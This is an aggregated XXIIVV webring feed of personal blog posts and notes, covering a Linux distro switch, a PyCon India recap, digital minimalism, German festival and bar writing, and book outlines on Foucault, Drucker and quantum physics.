XXIIVV Webring Feed

icyphox's blog

Status update


I’ve decided to drop the “Weekly” part of the status update posts, since they were never weekly and—let’s be honest—they aren’t going to be. These posts are, henceforth, just “Status updates”. The date range can be inferred from the post date.

That said, here’s what I’ve been up to!

Void Linux

Yes, I decided to ditch Alpine in favor of Void. Alpine was great, really. The very comfy apk, ultra mnml system… but having to maintain a chroot for my glibc needs was getting way too painful. And the package updates are so slow! Heck, they’re still on kernel 4.xx on their supposed “bleeding” edge repo.

So yes, Void Linux it is. Still a very clean system. I’m loving it. I also undervolted my system using undervolt (-95 mV). Can’t say for sure if there’s a noticeable difference in battery life though. I’ll see if I can run some tests.

This should be the end of my distro hopping. Hopefully.


Yeah yeah, enough already. Read my previous post.

This website

I’ve moved out of GitHub Pages over to Netlify. This isn’t my first time using Netlify, though. I used to host my old blog which ran Hugo, there. I was tired of doing this terrible hack to maintain a single repo for both my source (master) and deploy (gh-pages). In essence, here’s what I did:

#!/usr/bin/env bash

git push origin master
# push contents of `build/` to the `gh-pages` branch
git subtree push --prefix build origin gh-pages

I can now simply push to master, and Netlify generates a build for me by installing vite, and running vite build. Very pleasant.

mnmlwm’s status

mnmlwm, for those unaware, is my pet project which aims to be a simple window manager written in Nim. I’d taken a break from it for a while because Xlib is such a pain to work with (or I’m just dense). Anyway, I’m planning on getting back to it, with some fresh inspiration from Dylan Araps’ sowm.


I’ve been reading a lot of manga lately. Finished Kekkon Yubiwa Monogatari (till the latest chapter) and Another, and I’ve just started Kakegurui. I’ll reserve my opinions for when I update the reading log.

That’s about it, and I’ll see you – definitely not next week.

icyphox's blog

PyCon India 2019 wrap-up


I’m writing this article as I sit in class, back on the grind. Last weekend—Oct 12th and 13th—was PyCon India 2019, in Chennai, India. It was my first PyCon, and my first ever talk at a major conference! This is an account of the all the cool stuff I saw, people I met and the talks I enjoyed. Forgive the lack of pictures – I prefer living the moment through my eyes.


So much ML! Not that it’s a bad thing, but definitely interesting to note. From what I counted, there were about 17 talks tagged under “Data Science, Machine Learning and AI”. I’d have liked to see more talks discussing security and privacy, but hey, the organizers can only pick from what’s submitted. ;)

With that point out of the way, here’s some of the talks I really liked:

  • Python Packaging - where we are and where we’re headed by Pradyun
  • Micropython: Building a Physical Inventory Search Engine by Vinay
  • Ragabot - Music Encoded by Vikrant
  • Let’s Hunt a Memory Leak by Sanket
  • oh and of course, David Beazley’s closing keynote

My talk (!!!)

My good buddy Raghav and I spoke about our smart lock security research. Agreed, it might have been less “hardware” and more of a bug on the server-side, but that’s the thing about IoT right? It’s so multi-faceted, and is an amalgamation of so many different hardware and software stacks. But, anyway…

I was reassured by folks after the talk that the silence during Q/A was the “good” kind of silence. Was it really? I’ll never know.

Some nice people I met

  • Abhirath – A 200 IQ lad. Talked to me about everything from computational biology to the physical implementation of quantum computers.
  • Abin – He recognized me from my r/unixporn posts, which was pretty awesome.
  • Abhishek
  • Pradyun and Vikrant (linked earlier)

And a lot of other people doing really great stuff, whose names I’m forgetting.


It’s not much, and I can’t be bothered to format them like a collage or whatever, so I’ll just dump them here – as is.

nice badge awkward smile! me talking s443 @ pycon

C’est tout

Overall, a great time and a weekend well spent. It was very different from your typical security conference – a lot more chill, if you will. The organizers did a fantastic job and the entire event was put together really well. I don’t have much else to say, but I know for sure that I’ll be there next time.

That was PyCon India, 2019.



A child throws a stick for a dog.




🙌 Liked: Blobs in Games: Verb-noun vs noun-verb






A cat in a basket. Highly staged photo.

Paint me like…”



Fall leaves on the ground.




A ladybug on a fallen leaf.

Ladybug ladybird leaf.



🙌 Liked: The wondrous world of CSS counters

serocell - media feed

commit to your mistakes



Psychological Bar Reviews (7)


The coordination between hues of orange of about 24 vintage Polyside Chairs arranged around square plastic tables, four oversized umbrellas advertising SION KÖLSCH and the swooping letterforms so tastefully deployed to the menu headers of Café Hallmackenreuther is ever so slightly off, and thus achieves a kind of perfection any Pantone folder would ruin. The palette is positively exciting, reframing the scenery as an episode of quintessential 1973ish West-Germanness.

A table over, one of the quarter’s apparent doyens is holding court. With white-bearded smiles, patrons, strangers and acquaintances passing the square are waved over – while multiple magazines, tiny glasses of white wine and an eager young labrador keep being miraculously juggled. „Flat white, in a cup“ is the order, which is swiftly downed upon arrival.

Beyond the leafy courtyard, the café itself has opened its glass front, providing ample space to bustle about for a pair of stewards that tends to the crowd reclined in polyethylene. One is green-eyed, lanky and bumbling, a shoddy bowler hat hiding strands of streaky blonde hair and yesterday’s night out. His partner – all sagging thrashed denim and big-haired, nose-pierced, crop-topped street cred – is doing a considerably more professional job, inserting some urban eroticism into an otherwise almost pastoral scene. French, Italian and Kölsch are spoken among maple trees, all softly blending in the most pleasant summer air.

Hallmackenreuther, Belgisches Viertel, Cologne.

&Cr; &Lf;

Everything in life has a direction


Missing Summary

&Cr; &Lf;

XXIIVV webring 💍


Missing Summary



In reply to: Rekka Bellum and Devine Lu Linvega, Hundred Rabbits - XOXO Festival (2019) - YouTube

It’s easier to optimize for less than to optimize to try and earn more money.


At the Hawk’s Well


Hiroshi Sugimoto, Ryoji Ikeda, Rick Owens. L’Opéra national de Paris, 3. Oktober 2019.

&Cr; &Lf;

Quotes about moving slow


Missing Summary



In reply to: Collapse OS -- Bootstrap post-collapse technology

Additionally, the goal of this project is to be as self-contained as possible. With a copy of this project, a capable and creative person should be able to manage to build and install Collapse OS without external resources (i.e. internet) on a machine of her design, built from scavenged parts with low-tech tools.



🙌 Liked: Spending More Time On Your Hobbies Can Boost Confidence At Work — If They Are Sufficiently Different From Your Job – Research Digest



In reply to: Tech issues: The myth of inevitable technological progress - Vox

Technologists’ desire to make a parallel to evolution is flawed at its very foundation. Evolution is driven by random mutation — mistakes, not plans. (And while some inventions may indeed be the result of mishaps, the decision of a company to patent, produce, and market those inventions is not.) Evolution doesn’t have meetings about the market, the environment, the customer base. Evolution doesn’t patent things or do focus groups. Evolution doesn’t spend millions of dollars lobbying Congress to ensure that its plans go unfettered.

Nicola Pisanti's Journal

smoke mantra


smoke mantra / dirty monitor



Mother and son handling some creepy crawly salamanders on a cool fall day.

Creepy crawlers. Wooly woods.

serocell - media feed



James Chip

Treecrets 200 Word Rpg


Treecrets is my entry for the 2019 200 word RPG challenge. I wanter to make a game that involved trees, and this seemed like the perfect moment to do it. You can find out more about it on the project page, or Treecrets on the 200 word rpg challenge.

icyphox's blog

Thoughts on digital minimalism


Ah yes, yet another article on the internet on this beaten to death subject. But this is inherently different, since it’s my opinion on the matter, and my technique(s) to achieve “digital minimalism”.

According to me, minimalism can be achieved on two primary fronts – the phone & the computer. Let’s start with the phone. The daily carry. The device that’s on our person from when we get out of bed, till we get back in bed.

The phone

I’ve read about a lot of methods people employ to curb their phone usage. Some have tried grouping “distracting” apps into a separate folder, and this supposedly helps reduce their usage. Now, I fail to see how this would work, but YMMV. Another technique I see often is using a time governance app—like OnePlus’ Zen Mode—to enforce how much time you spend using specific apps, or the phone itself. I’ve tried this for myself, but I constantly found myself counting down the minutes after which the phone would become usable again. Not helpful.

My solution to this is a lot more brutal. I straight up uninstalled the apps that I found myself using too often. There’s a simple principle behind it – if the app has a desktop alternative, like Twitter, Reddit, etc. use that instead. Here’s a list of apps that got nuked from my phone:

  • Twitter
  • Instagram (an exception, no desktop client)
  • Relay for Reddit
  • YouTube (disabled, ships with stock OOS)

The only non-productive app that I’ve let remain is Clover, a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that holds up. I’ve also allowed my personal messaging apps to remain, since removing those would be inconveniencing others.

I must admit, I often find myself reaching for my phone out of habit just to check Twitter, only to find that its gone. I also subconsciously tap the place where its icon used to exist (now replaced with my mail client) on my launcher. The only “fun” thing left on my phone to do is read or listen to music. Which is okay, in my opinion.

The computer

I didn’t do anything too nutty here, and most of the minimalism is mostly aesthetic. I like UIs that get out of the way.

My setup right now is just a simple bar at the top showing the time, date, current volume and battery %, along with my workspace indicators. No fancy colors, no flashy buttons and sliders. And that’s it. I don’t try to force myself to not use stuff – after all, I’ve reduced it elsewhere. :)

Now the question arises: Is this just a phase, or will I stick to it? What’s going to stop me from heading over to the Play Store and installing those apps back? Well, I never said this was going to be easy. There’s definitely some will power needed to pull this off. I guess time will tell.



🙌 Liked: SQL queries don't start with SELECT - Julia Evans



In reply to: GitHub - hundredrabbits/Noodle: Small, Sharp Sketch Tool

Noodle is a teeny tiny tool that lets you draw in the browser. Controls aren’t all that discoverable, but once you decipher the invisible UI it is an excellent little toy!

Try clicking and dragging around. Use the numbers 0 - 9 on your keyboard to toggle brush/line types.



🙌 Liked: Easier Changelog writing with git log

&Cr; &Lf;

10 months, 10 days and 10 hours of remote working


Missing Summary



A handful of crab apples.

Ringing in the new year exploring the city hunting for Apple trees.



In reply to: Vegetarian Showstopper Recipes - cooking vegetariancooking | Ask MetaFilter

I made some gnarly vegan wings out of eggplant this evening. Highly recommend. Gotta write down a recipe, but I winged it…get it. wing




I grew up in a small town at the end of a country. There were few people like me. I learned to live inside my head for long weekends and days that failed to make a connection. I left the town the first chance I got. I don’t think about it much, but I still carry the worlds I made there. In a way, I have been casted from that place: its entire opposite, its negative form, but sharing every wrinkle in great detail1.

  1. Ich schrieb diesen Text für Craig Mod’s Ridgeline-Newsletter, der sich mit dem psychologischen Zustand des Gehens auseinandersetzt. Er ist ein Beitrag zur Sektion Fellow Walkers, zu der Craig fragte: What shell have you been torn from?. Er erschien in #38.

serocell - media feed





Bearded man and red headed kid stand around a cargo bike. A dog is in the bike. The dog is not happy.

Dog is not chill with our cargo bike life choices.



🙌 Liked: Version 1.0 released - Nim Blog

XXIIVV — Journal

Lard shader — Study D


Lard Shader is a 3d vertex shader transforming neoclassical figures into their plump selves.

Post on phse.net

A New Minimalism


I stumbled on the blog ribbonfarm recently, and it’s a rather entertaining read. If you don’t already follow it, check it out. This particular essay about “acting dead and trading up” struck me, because I think it relates to what I had written about minimalism at the end of last year. The phrase “acting dead” comes from this talk by Bruce Sterling. The gist of the “acting dead” mindset is this: if your dead great-grandfather can do it better than you, it’s “acting dead”, and you should stop trying to outdo him.



A bunch of painted rocks on a green plate.




In reply to: Flashing Palely in the Margins

As we make decisions on the futures of our cities—on the future of our transportation systems that will move people across the space but also bring them together to understand one another—we need to re-think what a city should look like, what purpose it should serve.

icyphox's blog

Weekly status update, 09/17–09/27


It’s a lazy Friday afternoon here; yet another off day this week thanks to my uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened since then. Let’s get right into it!

My switch to Alpine

Previously, I ran Debian with Buster/Sid repos, and ever since this happened

$ dpkg --list | wc -l

# or something in that ballpark

I’ve been wanting to reduce my system’s package count.

Thus, I began my search for a smaller, simpler and lighter distro with a fairly sane package manager. I did come across Dylan Araps’ KISS Linux project, but it seemed a little too hands-on for me (and still relatively new). I finally settled on Alpine Linux. According to their website:

Alpine Linux is a security-oriented, lightweight Linux distribution based on musl libc and busybox.

The installation was a breeze, and I was quite surprised to see WiFi working OOTB. In the past week of my using this distro, the only major hassle I faced was getting my Minecraft launcher to run. The JRE isn’t fully ported to musl yet.1 The solution to that is fairly trivial and I plan to write about it soon. (hint: it involves chroots)


Packaging for Alpine

On a related note, I’ve been busy packaging some of the stuff I use for Alpine – you can see my personal aports repository if you’re interested. I’m currently working on packaging Nim too, so keep an eye out for that in the coming week.

Talk selection at PyCon India!

Yes! My buddy Raghav (@_vologue) and I are going to be speaking at PyCon India about our recent smart lock security research. The conference is happening in Chennai, much to our convenience. If you’re attending too, hit me up on Twitter and we can hang!


That essentially sums up the technical stuff that I did. My Russian is going strong, my reading however, hasn’t. I have yet to finish those books! This week, for sure.

Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and I think I like it? I still find myself coming back to metalcore/deathcore. Here’s a list of artists I discovered (and liked) recently:

That’s it for now, I’ll see you next week!

XXIIVV — Journal

Hardware — Sanwu Audio Player


A handful of experimental projects on small Hardware.



🙌 Liked: Substituting Beans for Beef Would Help the U.S. Meet Climate Goals - The Atlantic

XXIIVV — Journal

Playground — The Playground Express


The Playground is a flexible experimental micro-controller from Adafruit.


Melancholie der Standorte


Als ich nach Berlin kam, aus dem Durcheinander meines Lebens in das Durcheinander der Stadt, gab es eine Gruppe, die sich ausnahm in ihrer Ehrlichkeit und Schönheit zwischen all dem Schutt, den Optionen, den Drinks, der Sonne über dem Brunnen vor dem Dom und den Hackeschen Höfen, die damals noch ein Ort waren. The Aim of Design is to Define Space spielten Rock der klang wie Rave, und alles sah besser aus als bei den anderen. Sie sagten was ich damals hören musste. Der Moodboardpop des allzu geradeaus betitelten Depeche Mode wird mich immer an den Besarinplatz erinnern, die Türme des Frankfurter Tors, den Blick auf die Volksbühne aus der S75. Und daran, was wichtig ist (Frisuren und Schuhe).

Im vergangenen Jahr spielten Aim ein Konzert am Schlesischen Tor und nun gibt es neue Musik, eine 12″ und wohl ein Album, ein weiteres Konzert (Dialog mit der Jugend, the grown-ups are tired), das Alex und ich besuchen werden.

Es gibt nun eine neue Geschichte über diese Stadt zu erzählen, gleichermaßen dunkel und perfekt ausgeleuchtet: Aim #@%!$, das erste Release seit elf Jahren, nach der Volksbühne. Das ist alles, 5K-Schranz, Wut, Klugheit, Schönheit, die eigene Sprache, die rasierten Seiten, das tätowierte Herz. 1992, 1994, 1997. Teile von uns waren immer hier.

One might say that everything was better back then. The girls were prettier, the parties wilder and the drugs better. Back then, The Aim of Design is to Define Space was the best band, which was more Berlin than Berlin was the Aim of Design is to Define Space.

Am Ende dann Schulzkys Aimriff, das immer sein muss, auch für mich. Good fucking day, ihr Bauern.

&Cr; &Lf;

Quote about coding


Missing Summary



🙌 Liked: Dull Ache - Luke Pearson - Illustration and Comics






🙌 Liked: Behind the Dark Room - YouTube

Chad Mazzola

Technologies of the Self: A Short Introduction


Speaking at a public lecture two years before his death, Michel Foucault introduced a new area of research which he called “technologies of the self”. Noting that he has “perhaps” focused “too much on the technology of domination and power”, Foucault says that he would now rather look at “how an individual acts upon himself.”

[T]echnologies of the self… permit individuals to effect by their own means or with the help of others a certain number of operations on their own bodies and souls, thoughts, conduct, and way of being, so as to transform themselves in order to attain a certain state of happiness, purity, wisdom, perfection, or immortality.

Following this definition, technologies of the self can be anything from reading, writing, exercise, and meditation, to plastic surgery, Instagram filters, and neural links. What makes Foucault’s framework so useful is that is allows one to look not only at individuals’ behaviors and aspirations, but the tools and practices they use to enact them, as well as the cultural contexts surrounding them.

I was brought back to Foucault’s work on this idea by Erik Davis’ amazing book, High Weirdness. Davis’ book recounts the psychedelic adventures of Terence McKenna, Robert Anton Wilson, and Philip K. Dick, weaving through and around their personal stories a larger narrative about media, psychology, and the limits of knowledge. Davis’ protagonists make use of their favored technologies of the self in order to do much of what Foucault sketched out in his initial formulation: attain a certain state of happiness, purity, wisdom, perfection and immortality.

I had a passing thought several years ago about how if the zeitgeist of 1968 could be expressed as “LSD and the Grateful Dead”, then 2018 was “modafinil and podcasts at 1.5x speed.” Revisiting this tongue-in-cheek observation while researching technologies of the self, I realized that it might serve as a useful entry point into examining several larger ideas within this territory.


The particular operations a person can perform on themselves, the transformations they can entail, and the states of consciousness they can enable are countless. If we contrast the stereotyped “1968” experience — a cosmic consciousness free associating between disparate ideas, the boundaries of the self slipping away — and contrast it with “2018” — a hyper-focus on instrumental knowledge and achieving social and economic mastery through personal productivity — the yawning chasm between various modes of inner experience becomes apparent.

In both of these examples, we can see the confluence of technology (synthesized drugs, recorded and transmitted media) and the beliefs their users bring to bear on them. In turn, these individual practices are embedded within a set of cultural beliefs and traditions that create an initial framing for the experience.

None of that matters, though, for the person caught in the here-and-now of a technology they hope can transform their body or soul. They want to proclaim the truth of their experience and hasten the transformation. Davis’ description of Terence and Dennis McKenna’s struggles to square their belief in scientific naturalism with the received truth of their psychedelic experiences highlights precisely this dynamic.

Is it possible to suspend belief about whether a particular technology reveals something “true” and instead focus on what it has to tell us about the nature of human experience and the possibilities for personal change? I think so.


Three interconnected claims: (a) Every technology brings with it a different range of possibilities for its use (b) Every person’s consciousness is shaped by the technologies they make use of (c) Every society is distinguished by how it values the technologies deployed within it.

As Foucault notes, the Stoic tradition emphasized mastery over oneself as the primarily goal of a philosophical education. The tools at the Roman’s disposal — reading and writing — were particularly good for this practice of careful concern over one’s thoughts and actions.

In contrast, the demands of productivity and the constant background noise of stress that shapes the lives of modern office workers led Alain de Botton to claim that “[o]ffice civilisation could not be feasible without the hard take-offs and landings effected by coffee and alcohol. ”

Different technologies for different needs for different times. Which came first, the written word or careful consideration of one’s self? Coffee as an essential daily routine or the valuing of sustained attention? For any example we could give, it becomes nearly impossible to neatly separate causes from effects when looking at why certain technologies become popular in a particular time or place.


Technologies of the self provides a particularly useful framework for looking at how people construct meaning in their lives and imagine an ideal self. I hope to continue spending time on the idea, with more posts to come. In the meantime, you can browse my research.

serocell - media feed



James Chip

Paints and Brushes


So I paint a few miniatures here and there and it popped into my mind that I have never made a list of all of my miniature paints. This is not a huge task for made as I am not the kind of person that insists on having every single colour imaginable, instead I often mix my own and make do. Thats not to say I don’t buy any paint at all though.

Chad Mazzola

Managing Oneself


Peter Drucker’s Managing Oneself is a short book (originally published as an article in 1999) that provides the best framework I’ve found for understanding what your professional strengths are and how best to use them.

Given the short length of the book, I decided to make a complete outline of its major points. It should be useful as both a reference for those who have already read the book and a quick summary for those who haven’t.

I’ve largely quoted Drucker verbatim within the outline, but have made some minor edits to several sections for the sake of clarity.

  1. What are my strengths?

    1. Most people think they know what they are good at. They are usually wrong. More often, people know what they are not good at—and even then more people are wrong than right. And yet, a person can perform only from strength.
    2. The only way to discover your strengths is through feedback analysis. Whenever you make a key decision or take a key action, write down what you expect will happen. Nine or 12 months later, compare the actual results with your expectations.
    3. Several implications for action follow from feedback analysis.
      1. First and foremost, concentrate on your strengths.
      2. Second, work on improving your strengths.
      3. Third, discover where your intellectual arrogance is causing disabling ignorance and overcome it.
    4. It is equally essential to remedy your bad habits—the things you do or fail to do that inhibit your effectiveness and performance.
    5. One should waste as little effort as possible on improving areas of low competence. It takes far more energy and work to improve from incompetence to mediocrity than it takes to improve from first-rate performance to excellence.
  2. How do I perform?

    1. Just as people achieve results by doing what they are good at, they also achieve results by working in ways that they best perform. A few common personality traits usually determine how a person performs.
      1. Am I a reader or a listener?
      2. How do I learn?
        1. Some people learn by writing.
        2. Some people learn by doing.
        3. Others learn by hearing themselves talk.
      3. In what relationship to other people do I work best?
        1. Some people work best as subordinates.
        2. Some people work best as team members.
        3. Others work best alone.
        4. Some are exceptionally talented as coaches and mentors
      4. Do I produce results as a decision maker or as an adviser?
      5. Do I perform well under stress, or do I need a highly structured and predictable environment?
      6. Do I work best in a big organization or a small one?
    2. Do not try to change yourself—you are unlikely to succeed. But work hard to improve the way you perform. And try not to take on work you cannot perform or will only perform poorly.
  3. What are my values?

    1. Values are not just a question of ethics. Ethics requires that you ask yourself, What kind of person do I want to see in the mirror in the morning? What is ethical behavior in one kind of organization or situation is ethical behavior in another. But ethics is only part of a value system.
    2. Different values bespeak different views of the relationship between organizations and people; different views of the responsibility of an organization to its people and their development; and different views of a person’s most important contribution to an enterprise.
    3. For instance, whether a business should be run for short-term results or with a focus on the long term is a question of values.
    4. To work in an organization whose value system is unacceptable or incompatible with one’s own condemns a person both to frustration and to nonperformance.
    5. There is sometimes a conflict between a person’s values and his or her strengths. What one does well—even very well and successfully—may not fit with one’s value system. In that case, the work may not appear to be worth devoting one’s life to (or even a substantial portion thereof).
  4. Where do I belong?

    1. A small number of people know very early where they belong. But most people, especially highly gifted people, do not really know where they belong until they are well past their mid-twenties.
    2. By that time, however, they should know the answers to the three questions: What are my strengths? How do I perform? and, What are my values? And then they can and should decide where they belong. Or rather, they should be able to decide where they do not belong.
    3. Equally important, knowing the answer to these questions enables a person to say to an opportunity, an offer, or an assignment, “Yes, I will do that. But this is the way I should be doing it. This is the way it should be structured. This is the way the relationships should be. These are the kind of results you should expect from me, and in this time frame, because this is who I am.”
  5. What should I contribute?

    1. Throughout history, the great majority of people never had to ask the question, What should I contribute? They were told what to contribute, and their tasks were dictated either by the work itself—as it was for the peasant or artisan—or by a master or a mistress—as it was for domestic servants. And until very recently, it was taken for granted that most people were subordinates who did as they were told.
    2. There is no return to the old answer of doing what you are told or assigned to do. Knowledge workers in particular have to learn to ask a question that has not been asked before: What should my contribution be? To answer it, they must address three distinct elements.
      1. What does the situation require?
      2. Given my strengths, my way of performing, and my values, how can I make the greatest contribution to what needs to be done?
      3. Where and how can I achieve results that will make a difference within the next year and a half?
        1. The results should be hard to achieve-they should require “stretching.”
        2. The results should be meaningful.
        3. The results should be visible, and if at all possible, measurable.
  6. Managing yourself requires taking responsibility for relationships.

    1. Accept the fact that other people are as much individuals as you yourself are. They perversely insist on behaving like human beings. This means that they too have their strengths; they too have their ways of getting things done; they too have their values. To be effective, therefore, you have to know the strengths, the performance modes, and the values of your coworkers.
    2. The second part of relationship responsibility is taking responsibility for communication. Whenever I, or any other consultant, start to work with an organization, the first thing I hear about are all the personality conflicts. Most of these arise from the fact that people do not know what other people are doing and how they do their work, or what contribution the other people are concentrating on and what results they expect. And the reason they do not know is that they have not asked and therefore have not been told.
    3. Organizations are no longer built on force but on trust. The existence of trust between people does not necessarily mean that they like one another. It means that they understand one another. Taking responsibility for relationships is therefore an absolute necessity. It is a duty.
  7. The second half of your life

    1. When work for most people meant manual labor, there was no need to worry about the second half of your life. You simply kept on doing what you had always done.
    2. Today, however, most work is knowledge work, and knowledge workers are not “finished” after 40 years on the job, they are merely bored. That is why managing oneself increasingly leads one to begin a second career.
    3. There are three ways to develop a second career.
      1. The first is actually to start one. Often this takes nothing more than moving from one kind of organization to another: the divisional controller in a large corporation, for instance, becomes the controller of a medium-sized hospital. But there are also growing numbers of people who move into different lines of work altogether: the business executive or government official who enters the ministry at 45, for instance; or the midlevel manager who leaves corporate life after 20 years to attend law school and become a small-town attorney.
      2. The second way to prepare for the second half of your life is to develop a parallel career. Many people who are very successful in their first careers stay in the work they have been doing, either on a full-time or part-time or consulting basis. But in addition, they create a parallel job, usually in a nonprofit organization, that takes another ten hours of work a week.
      3. Finally, there are the social entrepreneurs. These are usually people who have been very successful in their first careers. They love their work, but it no longer challenges them. In many cases they keep on doing what they have been doing all along but spend less and less of their time on it. They also start another activity, usually a nonprofit.
  8. Conclusion

    1. Managing oneself demands that each knowledge worker think and behave like a chief executive officer. Further, the shift from manual workers who do as they are told to knowledge workers who have to manage themselves profoundly challenges social structure. Every existing society, even the most individualistic one, takes two things for granted, if only subconsciously: that organizations outlive workers, and that most people stay put. But today the opposite is true. Knowledge workers outlive organizations, and they are mobile. The need to manage oneself is therefore creating a revolution in human affairs.



🙌 Liked: the scratch castle: Alternative Lisp Formatting Part 1



In reply to: Kinopio

A very cool little tool to make mind maps in the browser! Wicked calm. Very elegant. Do recommend.

icyphox's blog

Weekly status update, 09/08–09/17


This is something new I’m trying out, in an effort to write more frequently and to serve as a log of how I’m using my time. In theory, I will write this post every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on a format for this, but it will probably include a quick summary of the work I did, things I read, IRL stuff, etc.

With the meta stuff out of the way, here’s what went down last week!

My discovery of the XXIIVV webring

Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to the XXIIVV webring. I really like the idea of webrings. It creates a small community of sites and enables sharing of traffic among these sites. The XXIIVV webring consists mostly of artists, designers and developers and gosh, some of those sites are beautiful. Mine pales in comparison.

The webring also has a twtxt echo chamber aptly called The Hallway. twtxt is a fantastic project and its complexity-to-usefulness ratio greatly impresses me. You can find my personal twtxt feed at /twtxt.txt (root of this site).

Which brings me to the next thing I did this/last week.

twsh: a twtxt client written in Bash

I’m not a fan of the official Python client, because you know, Python is bloat. As an advocate of mnmlsm, I can’t use it in good conscience. Thus, began my authorship of a truly mnml client in pure Bash. You can find it here. It’s not entirely useable as of yet, but it’s definitely getting there, with the help of @nerdypepper.


I have been listening to my usual podcasts: Crime Junkie, True Crime Garage, Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER. It’s pretty good – each episode is only about 30 mins and it hits the sweet spot, delvering both interesting security content and news.

My reading needs a ton of catching up. Hopefully I’ll get around to finishing up “The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.

I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly easy to pick up. Learning the Cyrillic script will require some relearning, especially with letters like в, н, р, с, etc. that look like English but sound entirely different. I think I’m pretty serious about learning this language – I’ve added the Russian keyboard to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the RU layout to my keyboard map too:

setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru

With that ends my weekly update, and I’ll see you next week!



🙌 Liked: The Offline Cookbook



🙌 Liked: Fogknife : Announcing Sweat, a flexible and distracting workout timer


And the city orange


Das Atonal fügte sich auf neue Weise in dieses Jahr. Es gab nichts zu feiern, es gab nichts loszulassen. Es gab die Notwendigkeit von Input und Freiheit, die Notwendigkeit der einzigen Form von Spiritualität zu der ich in der Lage bin1. In einem weiteren Jahr stand ich also mit Hannes und David im Exoskelett des Industriezeitalters, wir tranken Wasser mit Wodka darin und sahen unsere Zukunft vor uns ausgebreitet.

Das Lineup 2019 kam uns entgegen. Viele der Projekte operierten hochkonzentriert, das Programm der Hauptbühne ließ sich ohne Pausen verfolgen. Im Ergeschoss wurde weniger instagramtauglich dekoriert und mehr inszeniert; die Disziplin Tanz ist eine ebenso naheliegende wie richtige Ergänzung für diese Veranstaltung.

Wie bereits vor zwei Jahren bemühte ich mich um Notizen, also darum, festzuhalten, was Raum und Sound mit meiner Kognition taten. Es erscheint mir relevant als Ergänzung der reinen Macht des Atonal im Jahr 2019.

In keiner spezifischen Reihenfolge oder Sprache:

Lee Gamble practises mantis origami and everything is liquified, the concrete carpace of Kraftwerk magically transformed. The ghost of raves past infects every bar Gamble is launching into the cavernous hall, all grooves that have been, resurrected to serve grim new purposes. We are witnessing 1994 being smashed and sliced into shards, made new, assembling crystalline parts of a bygone era into constructs resilient enough to withstand the atmospheric pressure of 2019. Viewed from the right angle with the right mind, shapes become recognizable, sticking out for a second before being re-incorporated into a heaving sonic architecture. The hall is drenched in blood red light. Everything stops.

As Allesandro Cordini is playing, a rift appears in the crowd and I am suddenly free: Bodies move, the crowd converges, both on screen and in physical space. Staub löst sich von allem ab, und irgendwann auf jedem, denke ich, und dann: This isn’t beauty, This is the rest of it. „Es bedeutet mir die Welt, das hier, alles, an diesem Ort in dieser Stadt in diesem Jahr“, sage ich zu David.

Mitra render the world in ice at psychotropic resolution. Like shaping a monument from pink noise, some imaginative somatic architecture made from organic matter, perpetually in the process of melting or freezing, ever transitioning. A 5K temple ruin in the shader world. Far away, a small figure is wailing, draped in light, veiled in concrete. A voice endlessly reverberating. The profound, old beauty of her song is almost too much to bear. I wish it would stop and continue for ever. The particle equalizer as an emitter of architecture is followed by the magic of a repectfully receding virtual camera, as distant dwellings slowly fade out of view.

Soft/hard, coexisting like matter and antimatter, creating perfect stasis. Ich bin hier mit niemandem, ein Haus stürzt ein in perfekter Stille, und darum in Zeitlupe. The silence of walking in empty nights. The silence of imagination. The silence after they stop. The silence after pressing play. Der dringende Wunsch dieser Gruppe, hier und jetzt nicht zu existieren, aufzugehen in konzentrierter Musik. Vor vier jahren schrieb ich über Severe: „Kein Zögern, keine Unsicherheit hier. (…) Klar, präzise, mit überaus hoher Dichte.“ (My Disco)

Über die Performance von Objekt und Ezra Miller schließlich kann ich wenig Kluges sagen, die Notizen sind undeutlich, bereits als ich sie schreibe. Dieses Set ist eine Kata aus Licht und Sound, deren Bewegungen mit jeder Wiederholung an Kraft und Nachdruck gewinnen. Dieses Licht: zumeist in der Horizontalen in das Publikum gerichtet, Licht der zweiten Person Plural: Wir sind die Empfänger, wir sind die Leinwand. Schließlich, der Moment dieser beiden Tage: Das Vocal-Sample und dann Love inna Basement, niemand hier kann es fassen, jede Konzentration explodiert. Für zwanzig Minuten ist hier nichts zu denken, reine Körpersache, ansatzlose Ruhe im Pandämonium. Das große Rave-Versprechen ist wahr (es ist nun genug gedacht worden).

Pablo’s Eye present a performance about weather, visuals sublimating, ever-new suns rising and fading away. There is a generality, an all-encompassing perspective to this performance, that transcends the boundaries of even this venue. „He wondered what new weather she had divined/It was night and the city orange“.

  1. In dieser Hinsicht sind die Nächte im Kraftwerk vergleichbar mit den Tagen in japanischen Gärten: eine Bank, ein Teehaus, eine Kathedrale und die Unfassbarkeit der geformten Umgebung.



🙌 Liked: unhosted web apps



🙌 Liked: An Oral History of "Snake" on Nokia | MEL Magazine

serocell - media feed

witness marks


Nicola Pisanti's Journal

png scripting


tweaked my luajit scripting sandbox for easy import and playback of .png folders

testing out with some vertical bars i drew with the marker

Chad Mazzola

Copenhagen versus the universe


Adam Becker’s What Is Real? is an impressive book. And infuriating. Becker traces in painstaking detail the development of the Copenhagen interpretation of quantum physics, the role that its main architect Niels Bohr (and others) had in suppressing competing theories, and the consequences not only within the field of physics, but the general intellectual atmosphere of the past hundred years.

Regarding the Copenhagen interpretation, Einstein wrote to a friend that it “reminds me a little of the system of delusions of an exceedingly intelligent paranoiac….” Philosopher Imre Lakatos went further:

…Bohr and his associates introduced a new and unprecedented lowering of critical standards for scientific theories. This led to a defeat of reason within modern physics and to an anarchist cult of incomprehensible chaos.

Despite this, the theory has served as the standard interpretation of quantum physics since the 1920s.

“There is no quantum world”

Bohr, in both speech and writing, was notoriously difficult to pin down. That is part of the reason why it is so difficult to state exactly what the Copenhagen interpretation claims. In some ways, it’s easier to explain what it doesn’t say:

